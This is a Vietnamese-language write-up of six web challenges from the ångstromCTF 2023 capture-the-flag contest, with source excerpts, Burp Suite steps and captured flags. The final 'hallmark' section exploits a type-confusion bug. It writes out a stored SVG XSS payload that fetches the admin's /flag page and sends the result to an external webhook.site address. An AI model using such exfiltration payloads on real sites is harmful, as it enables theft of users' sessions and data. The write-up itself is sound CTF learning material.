# ångstromCTF 2023
---
###### tags: `CTF`
## 1. catch me if you can
***Description: Somebody help!***

Flag quay như chong chóng, mình F12 thì ra flag lun:

Flag: `actf{y0u_caught_m3!_0101ff9abc2a724814dfd1c85c766afc7fbd88d2cdf747d8d9ddbf12d68ff874}`
## 2. Celeste Speedrunning Association
***Description: I love Celeste Speedrunning so much!!! It's so funny to watch!!!***

Mình `/play` theo hướng dẫn của họ

Bấm thử thì chắc chắn là thua goy

Đọc source:
```html=
<form action="/submit" method="POST">
<input type="text" style="display: none;" value="1682237906.5442224" name="start" />
<input type="submit" value="Press when done!" />
</form>
```
Hiểu đơn giản là khi click thì form sẽ POST lên server một biến `start=1682237906.5442224`, biến `start` này sẽ thay đổi dựa trên thời gian thực. Mình đoán là server sẽ lấy thời gian thực từ hàm `Date()` trừ đi giá trị biến `start`, kết quả này phải < 0 thì mới có thể win (vì kỷ lục nhanh nhất là 0).
Đáp vào BurpSuite để bắt request

Chỉnh `start` tăng lên một chút là được

Flag: `actf{wait_until_farewell_speedrun}`
## 3. shortcircuit

Đọc source:
```javascript=
const swap = (x) => {
let t = x[0]
x[0] = x[3]
x[3] = t
t = x[2]
x[2] = x[1]
x[1] = t
t = x[1]
x[1] = x[3]
x[3] = t
t = x[3]
x[3] = x[2]
x[2] = t
return x
}
const chunk = (x, n) => {
let ret = []
for (let i = 0; i < x.length; i += n) {
ret.push(x.substring(i, i + n))
}
return ret
}
const check = (e) => {
if (document.forms[0].username.value === "admin") {
if (swap(chunk(document.forms[0].password.value, 30)).join("") == "7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7") {
location.href = "/win.html"
}
else {
document.getElementById("msg").style.display = "block"
}
}
}
```
Hiểu sơ qua thì website sẽ check `username = admin` và `password = flag` nhưng `flag` đã bị chia nhỏ và tráo đổi vị trí bằng hàm `swap`. Viết lại script:
```javascript=
let flag = '7e08250c4aaa9ed206fd7c9e398e2}actf{cl1ent_s1de_sucks_544e67ef12024523398ee02fe7517fffa92516317199e454f4d2bdb04d9e419ccc7'
const swap = (x) => {
let t = x[3]
x[3] = x[2]
x[2] = t
t = x[1]
x[1] = x[3]
x[3] = t
t = x[2]
x[2] = x[1]
x[1] = t
t = x[0]
x[0] = x[3]
x[3] = t
return x
}
const chunk = (x, n) => {
let ret = []
for (let i = 0; i < x.length; i += n) {
ret.push(x.substring(i, i + n))
}
return ret
}
console.log(swap(chunk(flag, 30)).join(""))
```


Flag: `actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}`
## 4. directory
***Description: This is one of the directories of all time, and I would definitely rate it out of 10.***


Trang web cho một list 5000 file và flag ở một trong 5000 file đó. Đáp vào Intruder BurpSuite, chạy từ 1 đến 4999 là ra flag:

Flag: `actf{y0u_f0und_me_b51d0cde76739fa3}`
## 5. Celeste Tunneling Association
***Description: Welcome to the tunnels!! Have fun!***

Source code:
```python=
# run via `uvicorn app:app --port 6000`
import os
SECRET_SITE = b"flag.local"
FLAG = os.environ['FLAG']
async def app(scope, receive, send):
assert scope['type'] == 'http'
headers = scope['headers']
await send({
'type': 'http.response.start',
'status': 200,
'headers': [
[b'content-type', b'text/plain'],
],
})
# IDK malformed requests or something
num_hosts = 0
for name, value in headers:
if name == b"host":
num_hosts += 1
if num_hosts == 1:
for name, value in headers:
if name == b"host" and value == SECRET_SITE:
await send({
'type': 'http.response.body',
'body': FLAG.encode(),
})
return
await send({
'type': 'http.response.body',
'body': b'Welcome to the _tunnel_. Watch your step!!',
})
```
Đoạn code trên duyệt qua từng cặp `name` và `value` trong `headers` nếu `host = flag.local` thì sẽ render ra flag. Đáp vào BurpSuite:

Mình thấy request sử dụng giao thức `GET / HTTP/2` và Target trỏ tới địa chỉ trang web:
Vì vậy ta có thể tùy biến giá trị của `Host`. Chẳng hạn như:

Flag: `actf{reaching_the_core__chapter_8}`
## 6. hallmark
***Description: Send your loved ones a Hallmark card! Maybe even send one to the admin 😳.***
Source: https://github.com/MacHongNam/CTF_WriteUp/tree/44f8a9fefe0e12bf7299959e713134ad9221873b/%C3%A5ngstromCTF%202023/hallmark

Source code khá dài nên mình sẽ tóm tắt như sau. Trang web sẽ render các Card dựa theo `id`, có sẵn 4 Card ví dụ:

Nếu ta custom Card sẽ sinh ra một `id` mới. Mình xác định website dính lỗi XSS. Code khá dài nhưng mình chỉ quan tâm hàm `PUT` sau:
```javascript=
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
res.send("ok");
});
```
Hàm `PUT` trên sẽ kiểm tra `type` với `image/svg+xml` hai lần. Lần đầu là so sánh giá trị, lần 2 là so sánh cả giá trị lẫn kiểu dữ liệu. Để có thể XSS thành công, ta cần truyền `type` sao cho có cùng giá trị với `image/svg+xml` nhưng khác kiểu dữ liệu. Nếu `type = text/plain` hay `content = IMAGES` thì đều thất bại.
Đáp vào BurpSuite để bắt request:

Sửa `POST` thành `PUT`, thêm `id=59fd4892-bcee-47cb-b304-ca1a2e446098`
Và mình đã truyền cho `type` theo kiểu array như sau `type[] = image/svg+xml` URL encode rồi send:

Kiểm tra xem `Content-Type` trang `id` đã thành `image/svg+xml` hay chưa:

Okay giờ lên Payloads All The Things tìm payload XSS `svg+xml`:
```javascript=
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
```

Trông khá là uy tín. Thử request lên browser xem payload có thực sự hoạt động.

Tốt rồi nó hoạt động, giờ là lúc khai thác.
```javascript=
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies && req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
```
Flag nằm trong `/flag`, mình thực hiện `fetch` đến đó để lấy flag rồi sau đó `fetch` đến một trang webhook để hiển thị flag. Payload như sau:
```javascript=
<svg xmlns="http://www.w3.org/2000/svg" onload="
fetch(`https://hallmark.web.actf.co/flag`)
.then(function(response) {
return response.text();
})
.then(function(data) {
fetch(`https://webhook.site/61fe0d30-38e8-4866-bd5b-c1e8917b5c91?`+data);
})
.catch(function(error) {
console.log(error);
})"/>
```


Giờ gửi nó cho `admin`:

Solved:

Flag: `actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}`